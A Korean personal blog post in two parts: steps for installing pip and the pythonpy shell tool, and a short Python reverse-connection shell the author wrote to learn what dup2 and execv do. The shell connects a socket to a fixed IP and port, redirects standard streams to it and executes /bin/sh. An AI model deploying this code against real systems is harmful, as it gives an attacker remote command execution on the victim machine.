Python/2.7 information

pythonpy, 리버스 커넥션 쉘(python 버전)

qkqhxla1 2015. 2. 9. 16:03

pythonpy설치.

http://codingdojang.com/scode/371 에서 가져왔습니다.


pip은 파이썬 관련 패키지를 설치할 때 가장 많이 사용하는 툴입니다.

참고 : https://pypi.python.org/pypi/pip

하지만 파이썬 설치 시 pip은 포함되지 않기 때문에 다음과 같은 방법으로 pip을 먼저 설치해 주어야만 합니다.

윈도우즈

윈도우즈의 경우는 다음 URL에서 바이너리를 다운받아서 설치하는게 가장 간편하겠네요:

http://www.lfd.uci.edu/~gohlke/pythonlibs/#pip

리눅스

윈도우즈가 아니면 pip 을 설치하는 순서는 다음과 같습니다.

1. easy_install 설치

다음의 URL에서 distribute zip 파일을 다운로드 받은 후에 설치합니다.

https://pypi.python.org/pypi/distribute

zip 파일 압축 해제 후 다음의 명령어를 수행합니다.

python setup.py install

2. pip 설치

다음의 명령어를 수행하여 pip 을 설치합니다.

easy_install pip


※ ubuntu의 경우 easy_install를 설치할 필요없이 apt-get 을 이용하여 보다 간편하게 설치가 가능합니다:

sudo apt-get install python-pip

--------------------------------------------


pip를 설치한 후 pip install pythonpy로 pythonpy를 설치. 지인의 블로그에서 pythonpy라는걸 발견했는데 쉘에서 파이썬 실행시 편하게 해주는 도구라고 한다. 앞으로 리눅스에서 파이썬을 쓸 일이 많을것같아서 설치했다. 참고 : https://github.com/Russell91/pythonpy/


설치하고나서 삽질해보면서 발견한 장점은 쉘에서 awk처럼 간단하게 쓰기 위한것이어서 모듈 같은게 import를 굳이 할필요가 없다. py 'random.random()'처럼. 또 쉘에서 실행하는것이기 때문에

[root@localhost distribute-0.7.3]# cat /usr/share/dict/words | py -fx 're.match(r"and", x)' | head -5

and

and-

anda

anda-assu

andabata


처럼 파이프로 연결해서 결과값을 받아오는게 가능하다. 단점으로는 그래도 조금 복잡한 파이썬 프로그래밍을 못한다는것?? (아직 내가 미숙해서 모르는걸수도.)



리버스 커넥션 쉘 파이썬버전.


http://qkqhxla1.tistory.com/251 에서 c based로 만들어 봤었는데 쉘코드로 만드는 데만 집중해서

뭐가 어떻게 돌아갔는지는 사실 잘 몰랐다. 왜 함수는 execve를 썼는지, dup2함수는 뭔지 등등

갑자기 알아두면 좋을것 같아서 파이썬으로 제작해봤다. 대충 함수들의 역할을 이해할수 있을것 같다.


import socket,os

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.219.143',8080))
for i in range(0,3):
        os.dup2(s.fileno(),int(i))
os.execv('/bin/sh',['/bin/sh'])


시스템 프로그래밍의 지식이 조금 부족한 상태인데 이런거라도 만들면서 배워야겠다.


참고

http://stackoverflow.com/questions/3384007/os-execv-without-args-argument

http://www.lightbird.net/py-by-example/os-module.html#execve

https://docs.python.org/2/library/socket.html?highlight=socket#socket.socket

http://www.tutorialspoint.com/python/os_dup2.htm